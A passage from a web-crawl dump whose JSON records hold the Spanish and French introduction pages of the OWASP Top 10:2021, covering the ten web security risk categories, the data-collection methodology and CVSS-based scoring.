Eat.", "znaku_textu": 19372, "slov": 3066, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:40", "sha256": "9dd29acb0bdb38bc06c467e11a3590f21f8c54f16f53decf2e95e0cd523da5bd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/es/index.html", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Introducción", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/es/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introducción"}, {"uroven": 2, "text": "Bienvenido al OWASP Top 10 - 2021"}, {"uroven": 2, "text": "Qué ha cambiado en el Top 10 de 2021"}, {"uroven": 2, "text": "Metodología"}, {"uroven": 2, "text": "Cómo se estructuran las categorías"}, {"uroven": 2, "text": "Cómo se utilizan los datos para seleccionar las categorías"}, {"uroven": 2, "text": "¿Por qué no solo los datos estadísticos puros?"}, {"uroven": 2, "text": "¿Por qué la tasa de incidencia en lugar de la frecuencia?"}, {"uroven": 2, "text": "¿Cuál es su proceso de recopilación y análisis de datos?"}, {"uroven": 2, "text": "Data Factors"}, {"uroven": 2, "text": "Gracias a nuestros proveedores de datos"}, {"uroven": 2, "text": "Gracias a nuestro patrocinador"}], "markdown": "# Introducción\n\n## Bienvenido al OWASP Top 10 - 2021\n\n¡Bienvenido a la última entrega del OWASP Top 10! El OWASP Top 10 2021 ha sido totalmente renovado, con un nuevo diseño gráfico y una infografía de una sola página que puedes imprimir u obtener desde nuestra página web.\n\nUn enorme agradecimiento a todos los que han contribuido con su tiempo y datos para esta iteración. Sin ustedes, esta entrega no sería posible. **GRACIAS!**\n\n## Qué ha cambiado en el Top 10 de 2021\n\nHay tres nuevas categorías, cuatro categorías con cambios de nombre y alcance, y alguna consolidación en el Top 10 de 2021. Hemos cambiado los nombres cuando ha sido necesario para centrarnos en la causa principal en lugar del síntoma.\n\n- **[A01:2021 - Pérdida de Control de Acceso](A01_2021-Broken_Access_Control/)** sube de la quinta posición a la categoría con el mayor riesgo en seguridad de aplicaciones web; los datos proporcionados indican que, en promedio, el 3,81% de las aplicaciones probadas tenían una o más Common Weakness Enumerations (CWEs) con más de 318.000 ocurrencias de CWEs en esta categoría de riesgo. Las 34 CWEs relacionadas con la Pérdida de Control de Acceso tuvieron más apariciones en las aplicaciones que cualquier otra categoría.\n- **[A02:2021 - Fallas Criptográficas](A02_2021-Cryptographic_Failures/)** sube una posición ubicándose en la segunda, antes conocida como **A3:2017-Exposición de Datos Sensibles** , que era más una característica que una causa raíz. El nuevo nombre se centra en las fallas relacionadas con la criptografía, como se ha hecho implícitamente antes. Esta categoría frecuentemente conlleva a la exposición de datos confidenciales o al compromiso del sistema.\n- **[A03:2021 - Inyección](A03_2021-Injection/)** desciende hasta la tercera posición. El 94% de las aplicaciones fueron probadas con algún tipo de inyección y estas mostraron una tasa de incidencia máxima del 19%, promedio de 3.37%, y las 33 CWEs relacionadas con esta categoría tienen la segunda mayor cantidad de ocurrencias en aplicaciones con 274.000 ocurrencias. El Cross-Site Scripting, en esta edición, forma parte de esta categoría de riesgo.\n- **[A04:2021 - Diseño Inseguro](A04_2021-Insecure_Design/)** nueva categoría para la edición 2021, con un enfoque en los riesgos relacionados con fallas de diseño. Si realmente queremos madurar como industria, debemos \"mover a la izquierda\" del proceso de desarrollo las actividades de seguridad. Necesitamos más modelos de amenazas, patrones y principios con diseños seguros y arquitecturas de referencia. Un diseño inseguro no puede ser corregida con una implementación perfecta debido a que, por definición, los controles de seguridad necesarios nunca se crearon para defenderse de ataques específicos.\n- **[A05:2021 - Configuración de Seguridad Incorrecta](A05_2021-Security_Misconfiguration/)** asciende desde la sexta posición en la edición anterior; el 90% de las aplicaciones se probaron para detectar algún tipo de configuración incorrecta, con una tasa de incidencia promedio del 4,5% y más de 208.000 casos de CWEs relacionadas con esta categoría de riesgo. Con mayor presencia de software altamente configurable, no es sorprendente ver qué esta categoría ascendiera. El **A4:2017-Entidades Externas XML(XXE)** , ahora en esta edición, forma parte de esta categoría de riesgo.\n- **[A06:2021 - Componentes Vulnerables y Desactualizados](A06_2021-Vulnerable_and_Outdated_Components/)** antes denominado como Uso de Componentes con Vulnerabilidades Conocidas, ocupa el segundo lugar en el Top 10 de la encuesta a la comunidad, pero también tuvo datos suficientes para estar en el Top 10 a través del análisis de datos. Esta categoría asciende desde la novena posición en la edición 2017 y es un problema conocido que cuesta probar y evaluar el riesgo. Es la única categoría que no tiene ninguna CVE relacionada con las CWEs incluidas, por lo que una vulnerabilidad predeterminada y con ponderaciones de impacto de 5,0 son consideradas en sus puntajes.\n- **[A07:2021 - Fallas de Identificación y Autenticación](A07_2021-Identification_and_Authentication_Failures/)** previamente denominada como Pérdida de Autenticación, descendió desde la segunda posición, y ahora incluye CWEs que están más relacionadas con fallas de identificación. Esta categoría sigue siendo una parte integral del Top 10, pero el incremento en la disponibilidad de frameworks estandarizados parece estar ayudando.\n- **[A08:2021 - Fallas en el Software y en la Integridad de los Datos](A08_2021-Software_and_Data_Integrity_Failures/)** es una nueva categoría para la edición 2021, que se centra en hacer suposiciones relacionadas con actualizaciones de software, los datos críticos y los pipelines CI/CD sin verificación de integridad. Corresponde a uno de los mayores impactos según los sistemas de ponderación de vulnerabilidades (CVE/CVSS, siglas en inglés para Common Vulnerability and Exposures/Common Vulnerability Scoring System). La **A8:2017-Deserialización Insegura** en esta edición forma parte de esta extensa categoría de riesgo.\n- **[A09:2021 - Fallas en el Registro y Monitoreo](A09_2021-Security_Logging_and_Monitoring_Failures/)** previamente denominada como **A10:2017-Registro y Monitoreo Insuficientes** , es adicionada desde el Top 10 de la encuesta a la comunidad (tercer lugar) y ascendiendo desde la décima posición de la edición anterior. Esta categoría se amplía para incluir más tipos de fallas, es difícil de probar y no está bien representada en los datos de CVE/CVSS. Sin embargo, las fallas en esta categoría pueden afectar directamente la visibilidad, las alertas de incidentes y los análisis forenses.\n- **[A10:2021 - Falsificación de Solicitudes del Lado del Servidor](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** es adicionada desde el Top 10 de la encuesta a la comunidad (primer lugar). Los datos muestran una tasa de incidencia relativamente baja con una cobertura de pruebas por encima del promedio, junto con calificaciones por encima del promedio para la capacidad de explotación e impacto. Esta categoría representa el escenario en el que los miembros de la comunidad de seguridad nos dicen que esto es importante, aunque no está visualizado en los datos en este momento.\n\n## Metodología\n\nEsta entrega del Top 10 está más orientada a los datos que nunca, pero no a ciegas. Hemos seleccionado ocho de las diez categorías a partir de los datos aportados y dos categorías a partir de la encuesta de la comunidad del Top 10 a un alto nivel. Hacemos esto por una razón fundamental, mirar los datos aportados es mirar al pasado. Los investigadores de seguridad en aplicaciones se toman su tiempo para encontrar nuevas vulnerabilidades y nuevas formas de probarlas. Se necesita tiempo para integrar estas pruebas en las herramientas y los procesos. Para el momento en que podamos probar de forma fiable una vulnerabilidad a escala, es probable que hayan pasado años. Para compensar este punto de vista, utilizamos una encuesta de la comunidad en la que preguntamos a los expertos en seguridad y desarrollo de aplicaciones que se encuentran en primera línea cuáles son, en su opinión, las vulnerabilidades esenciales que los datos aún no muestran.\n\nHay algunos cambios críticos que hemos adoptado para seguir madurando el Top 10.\n\n## Cómo se estructuran las categorías\n\nAlgunas categorías han cambiado con respecto a la anterior entrega del OWASP Top Ten. A continuación se presenta un resumen de alto nivel de los cambios de categoría.\n\nLos trabajos anteriores de recopilación de datos se centraban en un subconjunto prescrito de aproximadamente 30 CWEs, con un campo que solicitaba hallazgos adicionales. Nos dimos cuenta de que las organizaciones se centraban principalmente en esas 30 CWEs y rara vez añadían otras CWEs que veían. En esta iteración, lo abrimos y solo pedimos datos, sin ninguna restricción sobre las CWEs. Solicitamos el número de aplicaciones analizadas para un año determinado (a partir de 2017) y el número de aplicaciones con al menos una instancia de una CWE encontrada en las pruebas. Este formato nos permite rastrear la prevalencia de cada CWE dentro de la población de aplicaciones. Ignoramos la frecuencia para nuestros propósitos; aunque puede ser necesaria para otras situaciones, solo oculta la prevalencia real en la población de aplicaciones. El hecho de que una aplicación tenga cuatro instancias de una CWE o 4.000 instancias no forma parte del cálculo para el Top 10. Hemos pasado de aproximadamente 30 CWEs a casi 400 CWEs para analizar en el conjunto de datos. Tenemos previsto realizar análisis de datos adicionales como complemento en el futuro. Este aumento significativo en el número de CWEs hace necesario cambiar la estructura de las categorías.\n\nPasamos varios meses agrupando y clasificando las CWEs y podríamos haber seguido durante más tiempo. En algún momento tuvimos que parar. Hay tipos de CWE de *causa raíz* y de *síntoma*, donde los de *causa raíz* serían \"Falla Criptográfica\" y \"Configuración de Seguridad Incorrecta\" en contraste con los de *síntoma* como \"Exposición de Datos Sensibles\" y \"Denegación de Servicio\". Hemos decidido centrarnos en la *causa raíz* siempre que sea posible, ya que es más lógico para proporcionar orientación sobre la identificación y la reparación. Centrarse en la *causa raíz* en lugar de en el *síntoma* no es un concepto nuevo; el Top Ten ha sido una mezcla de *síntoma* y *causa raíz*. Las CWEs también son una mezcla de *síntoma* y *causa raíz*; simplemente estamos siendo más explícitos al respecto y lo señalamos. Hay un promedio de 19,6 CWEs por categoría en esta entrega, con el límite inferior de 1 CWE para **A10:2021-Falsificación de Solicitudes del Lado del Servidor (SSRF)** a 40 CWEs en **A04:2021-Diseño Inseguro**. Esta actualización en la estructura de las categorías ofrece beneficios adicionales de capacitación, ya que las empresas pueden centrarse en las CWE que tienen sentido para un lenguaje/framework.\n\n## Cómo se utilizan los datos para seleccionar las categorías\n\nEn 2017, seleccionamos las categorías según la tasa de incidencia para determinar la probabilidad, y luego las clasificamos según la discusión del equipo basada en décadas de experiencia respecto a la *Explotabilidad*, la *Detectabilidad* (también *probabilidad*) y el *Impacto técnico*. Para 2021, queremos utilizar los datos de *Explotabilidad* e *Impacto (técnico)* si es posible.\n\nDescargamos OWASP Dependency Check y extrajimos las puntuaciones de CVSS de Explotación e Impacto agrupadas por CWEs relacionadas. Nos costó bastante investigación y esfuerzo, ya que todas las CVEs tienen puntuaciones CVSSv2, pero hay fallos en CVSSv2 que CVSSv3 debería solucionar. A partir de cierto momento, a todas las CVEs se les asignó también una puntuación CVSSv3. Además, los rangos y fórmulas se han actualizado entre CVSSv2 y CVSSv3.\n\nEn CVSSv2, tanto *Explotabilidad* como *Impacto técnico* podían llegar a 10,0, pero la fórmula los rebajaba al 60% para *Explotabilidad* y al 40% para *Impacto técnico*. En CVSSv3, el máximo teórico se limitó a 6,0 para *Explotabilidad* y 4,0 para *Impacto técnico*. Con la ponderación considerada, la puntuación de Impacto Técnico se elevó, casi un punto y medio en promedio en CVSSv3, y la Explotabilidad se redujo casi medio punto.\n\nHay 125 mil registros de una CVE mapeadas a una CWE en los datos de la Base de Datos Nacional de Vulnerabilidades (NVD) extraídos del OWASP Dependency Check, y hay 241 CWEs únicas mapeadas a una CVE. 62 mil mapeos de CWE tienen una puntuación CVSSv3, lo cual representa aproximadamente la mitad de la población en el conjunto de datos.\n\nPara el Top Ten 2021, calculamos las puntuaciones promedio de *explotabilidad* e *impacto técnico* de la siguiente manera. Agrupamos todas las CVEs con puntuaciones CVSS por CWE y ponderamos las puntuaciones de *explotabilidad* e *impacto técnico* por el porcentaje de la población que tenía CVSSv3 + la población restante de puntuaciones CVSSv2 para obtener una media global. Mapeamos estos promedios a las CWEs en el conjunto de datos para utilizarlos como puntuación de *Explotabilidad* e *Impacto (Técnico)* para la otra mitad de la ecuación del riesgo.\n\n## ¿Por qué no solo los datos estadísticos puros?\n\nLos resultados de los datos se limitan principalmente a lo que podemos comprobar de forma automatizada. Si hablas con un profesional experimentado de la seguridad de las aplicaciones, te hablará de las cosas que encuentra y de las tendencias que ve y que aún no están en los datos. Se necesita tiempo para desarrollar metodologías de pruebas para ciertos tipos de vulnerabilidades y más tiempo aún para que esas pruebas sean automatizadas y ejecutadas contra una gran población de aplicaciones. Todo lo que hallamos está mirando al pasado y puede que falten algunas tendencias del último año, que aún no están presentes en los datos.\n\nEs por eso que solo recogemos ocho de las diez categorías de los datos, porque están incompletos. Las otras dos categorías proceden de la encuesta a la comunidad del Top 10. Esto permite a los profesionales de primera línea votar por los que ellos consideran que son los mayores riesgos y que podrían no estar en los datos (y puede que nunca se expresen en ellos).\n\n## ¿Por qué la tasa de incidencia en lugar de la frecuencia?\n\nHay tres fuentes principales de datos. Las identificamos como Herramienta asistida por Humanos (HaT), Humano asistido por Herramientas (TaH) y Herramientas en bruto.\n\nHerramientas y HaT son generadores de hallazgos de alta frecuencia. Las herramientas buscarán vulnerabilidades específicas e intentarán incansablemente encontrar cada instancia de esa vulnerabilidad y generarán un elevado número de hallazgos para algunos tipos de vulnerabilidades. Por ejemplo, el Cross-Site Scripting, suele ser de dos tipos: o bien es un error menor y aislado, o bien es un problema sistémico. Cuando se trata de un problema sistémico, el número de hallazgos puede ser de miles para una sola aplicación. Esta alta frecuencia ahoga a la mayoría de las demás vulnerabilidades encontradas en los informes o datos.\n\nPor otro lado, TaH encontrará una gama más amplia de tipos de vulnerabilidades, pero con una frecuencia mucho menor debido a las limitaciones de tiempo. Cuando los humanos prueban una aplicación y ven algo como un Cross-Site Scripting, normalmente encontrarán tres o cuatro instancias y se detendrán. Pueden determinar un hallazgo sistémico y escribir una recomendación para corregirlo a gran escala en la aplicación. No hay necesidad (ni tiempo) de encontrar cada instancia.\n\nSupongamos que tomamos estos dos conjuntos de datos distintos y tratamos de fusionarlos por su frecuencia. En ese caso, los datos de Herramientas y HaT ahogarán los datos más precisos (aunque amplios) de TaH y es en buena parte la razón por la que algo como el Cross-Site Scripting ha sido clasificado tan alto en muchas listas cuando el impacto es generalmente bajo o moderado. Se debe al gran volumen de hallazgos. (El Cross-Site Scripting es además razonablemente fácil de probar, por lo que hay muchas más pruebas para ello).\n\nEn 2017, introdujimos el uso de la tasa de incidencia en su lugar para dar una nueva mirada a los datos y combinar de manera transparente los datos de Herramientas y HaT con los datos de TaH. La tasa de incidencia se refiere al porcentaje de la población de aplicaciones que tiene al menos una instancia de un tipo de vulnerabilidad. No nos importa si fue algo puntual o sistémico. Eso es irrelevante para nuestros objetivos; solo necesitamos saber cuántas aplicaciones tenían al menos una instancia, lo cual ayuda a proporcionar una visión más clara de los hallazgos de las pruebas a través de múltiples tipos de pruebas sin ahogar los datos en resultados de alta frecuencia. Esto corresponde a una visión relacionada con el riesgo, ya que un atacante solo necesita una instancia para atacar una aplicación con éxito a través de dicha categoría.\n\n## ¿Cuál es su proceso de recopilación y análisis de datos?\n\nEn el Open Security Summit de 2017 formalizamos el proceso de recopilación de datos del OWASP Top 10. Los líderes del OWASP Top 10 y la comunidad pasaron dos días trabajando en la formalización de un proceso de recopilación de datos transparente. La edición de 2021 es la segunda vez que utilizamos esta metodología.\n\nPublicamos la solicitud de datos a través de las redes sociales de las que disponemos, tanto del proyecto como de OWASP. En la página del proyecto, enumeramos los elementos y la estructura de los datos que buscamos y cómo presentarlos. En el proyecto de GitHub, disponemos de archivos de ejemplo que sirven como plantillas. También, en caso necesario, trabajamos con las organizaciones para ayudarles a determinar la estructura y el mapeo con las CWEs.\n\nRecibimos estos datos de organizaciones que son proveedores de servicios de seguridad, proveedores de bug bounty y organizaciones que aportan datos de pruebas internas. Una vez que recibimos los datos, los cargamos y realizamos un análisis fundamental de las categorías de riesgo de las CWEs. Hay un solapamiento entre algunas CWEs, y otros están muy relacionados (por ejemplo, las fallas criptográficas). Toda decisión relacionada con los datos en bruto se ha documentado y publicado para ser abiertos y transparentes en cuanto a la normalización de los datos.\n\nAnalizamos las ocho categorías con las tasas de incidencia más altas para incluirlas en el Top 10. También miramos los resultados de la encuesta a la comunidad del Top 10 para ver cuáles pueden estar ya presentes en los datos. Las dos más votadas que no estén ya presentes en los datos serán seleccionadas para los otros dos puestos del Top 10. Una vez seleccionados las diez, aplicamos factores generalizados de explotabilidad e impacto; para así poder ordenar el Top 10 2021 en función del riesgo.\n\n## Data Factors\n\nHay factores de datos que se enumeran para cada una de las 10 categorías, aquí está lo que significan:\n\n- CWEs mapeadas: El número de CWEs asignadas a una categoría por el equipo del Top 10.\n- Tasa de incidencia: La tasa de incidencia es el porcentaje de aplicaciones vulnerables a esa CWE de la población analizada por esa organización para ese año.\n- Cobertura (de pruebas): El porcentaje de aplicaciones que han sido testadas por todas las organizaciones para una determinada CWE.\n- Explotabilidad ponderada: La sub-puntuación de explotabilidad de las puntuaciones CVSSv2 y CVSSv3 asignadas a las CVEs mapeadas a las CWEs, normalizados y colocados en una escala de 10 puntos.\n- Impacto ponderado: La sub-puntuación de Impacto de las puntuaciones CVSSv2 y CVSSv3 asignadas a las CVEs mapeadas a las CWEs, normalizados y colocados en una escala de 10 puntos.\n- Total de ocurrencias: Número total de aplicaciones en las que se han encontrado las CWEs asignados a una categoría.\n- Total de CVEs: Número total de CVEs en la base de datos del NVD que fueron asignadas a las CWEs asignados a una categoría.\n\n## Gracias a nuestros proveedores de datos\n\nLas siguientes organizaciones (junto con algunos donantes anónimos) han tenido la amabilidad de donar datos de más de 500.000 aplicaciones para hacer de este el mayor y más completo conjunto de datos sobre seguridad de las aplicaciones. Sin ustedes, esto no sería posible.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Gracias a nuestro patrocinador\n\nEl equipo del OWASP Top 10 2021 agradece el apoyo financiero de Secure Code Warrior y Just Eat.", "znaku_textu": 19372, "slov": 3066, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/Top10/2021/es/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:06", "sha256": "9dd29acb0bdb38bc06c467e11a3590f21f8c54f16f53decf2e95e0cd523da5bd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/fr/", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Introduction", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/fr/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Bienvenue à l'OWASP Top 10 - 2021"}, {"uroven": 2, "text": "Les changements du Top 10 pour 2021"}, {"uroven": 2, "text": "Méthodologie"}, {"uroven": 2, "text": "Pourquoi ne pas se reposer uniquement sur des données statistiques ?"}, {"uroven": 2, "text": "Pourquoi le taux d'incidence au lieu de la fréquence ?"}, {"uroven": 2, "text": "Quel est votre processus de collecte et d'analyse des données ?"}, {"uroven": 2, "text": "Facteurs des données"}, {"uroven": 2, "text": "Merci à nos contributeurs de données"}, {"uroven": 2, "text": "Merci à notre sponsor"}], "markdown": "# Introduction\n\n## Bienvenue à l'OWASP Top 10 - 2021\n\nBienvenue à cette nouvelle édition de l'OWASP Top 10 ! L'OWASP Top 10 2021 apporte de nombreux changements, avec notamment une nouvelle interface et une nouvelle infographie, disponible sur un format d'une page qu'il est possible de se procurer depuis notre page d'accueil.\n\nUn très grand merci à l'ensemble des personnes qui ont contribué de leur temps et leurs données pour cette itération. Sans vous, cette mouture n'aurait pas vu le jour. **MERCI**.\n\n## Les changements du Top 10 pour 2021\n\nIl y a trois nouvelles catégories, quatre catégories avec un changement de nom et de périmètre, ainsi que des consolidations dans ce Top 10 2021. Nous avons changé les noms si nécessaire pour se concentrer sur la cause plutôt que le symptôme.\n\n- **[A01:2021-Contrôles d'accès défaillants](A01_2021-Broken_Access_Control/)** passe de la cinquième position à celle de catégorie présentant le risque de sécurité le plus sérieux pour une application web ; les données partagées indiquent, qu'en moyenne, 3,81% des applications testées avaient une ou plusieurs *Common Weakness Enumeration* (CWEs) avec plus de 318k occurrences de CWEs de cette catégorie. Les 34 CWEs associées ont eu plus d'occurrences dans les applications auditées que n'importe quelle autre catégorie.\n- **[A02:2021-Défaillances cryptographiques](A02_2021-Cryptographic_Failures/)** gagne une position et prend la deuxième place, précédemment connue sous le nom de **A3:2017-Exposition de données sensibles** , qui était un symptôme large plutôt qu'une cause principale. L'accent est mis sur des défaillances liées à la cryptographie, ce qui était le cas implicitement auparavant. Cette catégorie entraîne souvent une exposition de données sensibles ou une compromission de système.\n- **[A03:2021-Injection](A03_2021-Injection/)** glisse à la troisième position. 94% des applications ont été testées sur des vulnérabilités de ce type, avec une incidence maximale de 19% et une incidence moyenne de 3,37%. Les 33 CWEs associées à cette catégorie ont eu le deuxième plus grand nombre d'occurrences. *Cross-Site Scripting* fait désormais partie de cette catégorie dans cette édition.\n- **[A04:2021-Conception non sécurisée](A04_2021-Insecure_Design/)** est une nouvelle catégorie, avec un accent sur les défauts de conception. Si nous voulons ajouter des contrôles en amont, nous avons besoin de modèles de menaces, de modèles et principes de conception sécurisés, et d'architectures de référence. Une conception non sécurisée ne peut pas être corrigé par une implémentation parfaite car, par définition, les contrôles de sécurité nécessaires pour se défendre contre certaines attaques n'ont jamais été créés.\n- **[A05:2021-Mauvaise configuration de sécurité](A05_2021-Security_Misconfiguration/)** gagne une place ; 90% des applications ont été testées sur des vulnérabilités de ce type, avec une incidence moyenne de 4,5% et plus de 208k occurrences des CWEs associées. Avec des logiciels de plus en plus paramétrables, il n'est pas surprenant de voir cette catégorie prendre de l'ampleur. L'ancienne catégorie **A4:2017-XML Entités externes (XXE)** est incluse dans celle-ci.\n- **[A06:2021-Composants vulnérables et obsolètes](A06_2021-Vulnerable_and_Outdated_Components/)** était précédemment nommée *Utilisation de Composants avec des Vulnérabilités Connues* . Elle se place deuxième de l'enquête auprès de la communauté du Top 10, mais pouvait également entrer dans le Top 10 via l'analyse de données. Cette catégorie progresse depuis sa neuvième place en 2017, elle est un problème connu dont nous avons du mal à tester et à mesurer les risques. Il s'agit de la seule catégorie à n'avoir aucunes *Common Vulnerability and Exposures* (CVEs) associées aux CWEs concernées, en conséquence les coefficients d'impact et de poids ont été renseignés à 5.0 par défaut.\n- **[A07:2021-Identification et authentification de mauvaise qualité](A07_2021-Identification_and_Authentication_Failures/)** était précédemment *Authentification de mauvaise qualité* , elle perd la deuxième place. Elle inclut désormais des CWEs également liées aux échecs d'identification. Cette catégorie est toujours présente dans le Top 10, mais la mise à disposition croissante de frameworks standardisés semble aider.\n- **[A08:2021-Manque d'intégrité des données et du logiciel](A08_2021-Software_and_Data_Integrity_Failures/)** est une nouvelle catégorie, se concentrant sur la formulation d'hypothèses sur les mises à jour logicielles, les données critiques et les pipelines CI/CD sans vérifier leur intégrité. L'un des impacts les plus élevés à partir des données de *Common Vulnerability and Exposures/Common Vulnerability Scoring System* (CVE/CVSS) associées aux 10 CWEs de cette catégorie. **A8:2017-Désérialisation non sécurisée** , listée en 2017, est désormais partie intégrante de cette catégorie.\n- **[A09:2021-Carence des systèmes de contrôle et de journalisation](A09_2021-Security_Logging_and_Monitoring_Failures/)** , précédemment **A10:2017-Supervision et Journalisation Insuffisantes** , est ajoutée de l'enquête auprès de l'industrie (3ème), précédemment à la dixième place. Cette catégorie a été étendue pour inclure plus de types de défaillances, est difficile à tester et est dès lors mal représentée dans les données CVE/CVSS. Toutefois, des incidents dans cette catégorie peuvent impacter directement la visibilité, la levée d'alertes et l'analyse forensique.\n- **[A10:2021-Falsification de requête côté serveur](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** provient de l'enquête auprès de la communauté Top 10 (1ère). Les données montrent une incidence faible, avec un taux de couverture des tests supérieur à la moyenne, accompagné de notes de potentiel d'exploitabilité et d'impact supérieur à la moyenne. Cette catégorie est un exemple où les membres de la communauté sécurité nous indiquent que cette catégorie est importante, même si cela ne transparaît pas encore dans les données.\n\n## Méthodologie\n\nCette version du Top 10 est bien plus basée sur des données que les précédentes, mais elle n'est pas pour autant aveuglée par celles-ci. Parmi les dix catégories, huit proviennent des données fournies et les deux dernières proviennent d'une enquête à haut niveau auprès de la communauté. Nous faisons ceci pour une raison fondamentale, observer les données consiste à observer le passé. Les chercheurs en sécurité s'investissent pour trouver de nouvelles vulnérabilités et de nouveaux moyens pour les détecter. Un temps certain est nécessaire pour intégrer ces tests au sein des outils et des processus. Au moment où nous pouvons tester ces vulnérabilités à l'échelle, des années se sont bien souvent écoulées. Pour équilibrer cette approche, nous avons utilisé une enquête communautaire pour demander aux experts en sécurité applicative et en développement, en première ligne, ce qu'ils constatent comme failles essentielles, que les données pourraient ne pas encore montrer.\n\nNous avons adopté quelques changements importants pour continuer à faire mûrir le Top 10.\n\nQuelques catégories ont changé depuis la précédente édition de l'OWASP Top Ten. Voici ici un bref résumé des changements.\n\nLes précédentes collectes de données étaient concentrées sur un sous ensemble d'approximativement 30 CWEs accompagnées d'un champ demandant des découvertes complémentaires. Nous avons appris que les organisations se concentraient sur les seules 30 CWEs et n'ajoutaient que rarement d'autres CWEs qu'elles rencontraient. Dans cette édition, nous nous sommes contentés de demander des données, sans aucune restriction sur les CWEs. Nous avons demandé le nombre d'applications testées pour une année donnée (à partir de 2017), et le nombre d'applications avec au moins une instance d'une CWE trouvée lors des tests. Ce format nous permet de déterminer la prévalence de chaque CWE au sein des applications. Nous ignorons la fréquence pour nos besoins ; bien que cela pourrait être nécessaire dans d'autres situations, cela cache la prévalence au sein du panel. Qu'une application ait quatre instances d'une CWE ou 4 000 ne fait pas partie du calcul du Top 10. Nous sommes passés d'approximativement 30 CWEs à près de 400 CWEs à analyser dans le jeu de données. Nous prévoyons d'ajouter des analyses complémentaires dans le futur. Cette augmentation significative dans le nombre de CWEs nécessite des changements dans la façon dont les catégories sont structurées.\n\nNous avons passé plusieurs mois à regrouper et catégoriser les CWEs. Nous aurions pu continuer encore pendant des mois. Nous avons dû nous arrêter à un moment donné. Il existe à la fois des CWEs de type *cause racine* et *symptôme*, où les types *cause racine* sont de la forme \"Défaillances cryptographiques\" et \"Mauvaise configuration\", en contraste avec les types *symptôme* tels que \"Exposition de données sensibles\" et \"Déni de service\". Nous avons décidé de nous concentrer sur les types *cause racine* autant que possible car ils sont plus logiques pour fournir des conseils d'identification et de remédiation. Se concentrer sur la *cause racine* plutôt que le *symptôme* n'est pas un concept nouveau ; le Top 10 a été un mélange de *symptômes* et de *causes racines*. Les CWEs le sont également ; nous faisons ce choix délibérément et lançons un appel à ce sujet. Il y a une moyenne de 19,6 CWEs par catégorie dans cette édition, avec un minimum d'1 CWE pour **A10:2021-Falsification de requête côté serveur** et un maximum de 40 CWEs pour **A04:2021-Conception non sécurisée**. Cette nouvelle organisation de catégories apporte des avantages pour les formations, les sociétés peuvent se concentrer sur les CWEs les plus pertinentes pour un langage ou un framework.\n\nEn 2017, nous avons sélectionné les catégories à partir du taux d'incidence pour déterminer la probabilité, puis les avons classées via des discussions en équipe basées sur des décennies d'expérience sur des critères d'*Exploitabilité*, *Détectabilité* (également *probabilité*) et *Impact technique*. Pour 2021, nous souhaitons, si possible, utiliser des données pour *Exploitabilité* et *Impact (technique)*.\n\nNous avons téléchargé OWASP Dependency Check et extrait les scores CVSS d'exploitabilité et d'impact agrégés par CWE connexes. Cela a nécessité un temps de recherche significatif, car toutes les CVEs ont un score CVSSv2, mais celui-ci possède des défauts que CVSSv3 devrait corriger. Après un certain temps, toutes les CVEs reçoivent également un score CVSSv3. De plus, les plages de notation et les formules ont été mises-à-jour entre CVSSv2 et CVSSv3.\n\nEn CVSSv2, *Exploitabilité* et *Impact (technique)* peuvent atteindre 10, mais la formule les ramène à 60 % pour *Exploitabilité* et 40 % pour *Impact*. En CVSSv3, le maximum théorique est limité à 6,0 pour *Exploitabilité* et 4,0 pour *Impact*. Avec la pondération prise en compte, le score d'impact a augmenté, de près d'un point et demi en moyenne dans CVSSv3, et l'exploitabilité a baissé de près d'un demi-point en moyenne.\n\nIl y a 125 000 enregistrements d'une CVE associée à une CWE dans les données de la National Vulnerability Database (NVD) extraites d'OWASP Dependency Check, et il y a 241 CWE uniques associées à une CVE. 62 000 enregistrements ont un score CVSSv3, ce qui représente environ la moitié des données.\n\nPour le Top Ten 2021, nous avons calculé les scores moyens d'*exploitabilité* et d'*impact* de la manière suivante. Nous avons regroupé toutes les CVEs avec des scores CVSS par CWE et pondéré à la fois *exploitabilité* et *impact* notés par le pourcentage de la population qui disposait d'un score CVSSv3, plus la population restante de scores CVSSv2 pour obtenir une moyenne globale. Nous avons associé ces moyennes aux CWEs de l'ensemble de données à utiliser comme notes d'*Exploitabilité* et d'*Impact (technique)* pour l'autre moitié de l'équation de risque.\n\n## Pourquoi ne pas se reposer uniquement sur des données statistiques ?\n\nLes résultats obtenus à partir des données sont principalement limités à ce que nous pouvons tester de manière automatisée. Parlez à un professionnel chevronné de la sécurité, il vous parlera de ce qu'il trouve et des tendances qu'il observe qui ne sont pas encore dans les données. Il faut du temps aux gens pour développer des méthodologies de test pour certains types de vulnérabilités, puis plus de temps pour que ces tests soient automatisés et exécutés sur un grand nombre d'applications. Tout ce que nous trouvons sont des vestiges du passé qui 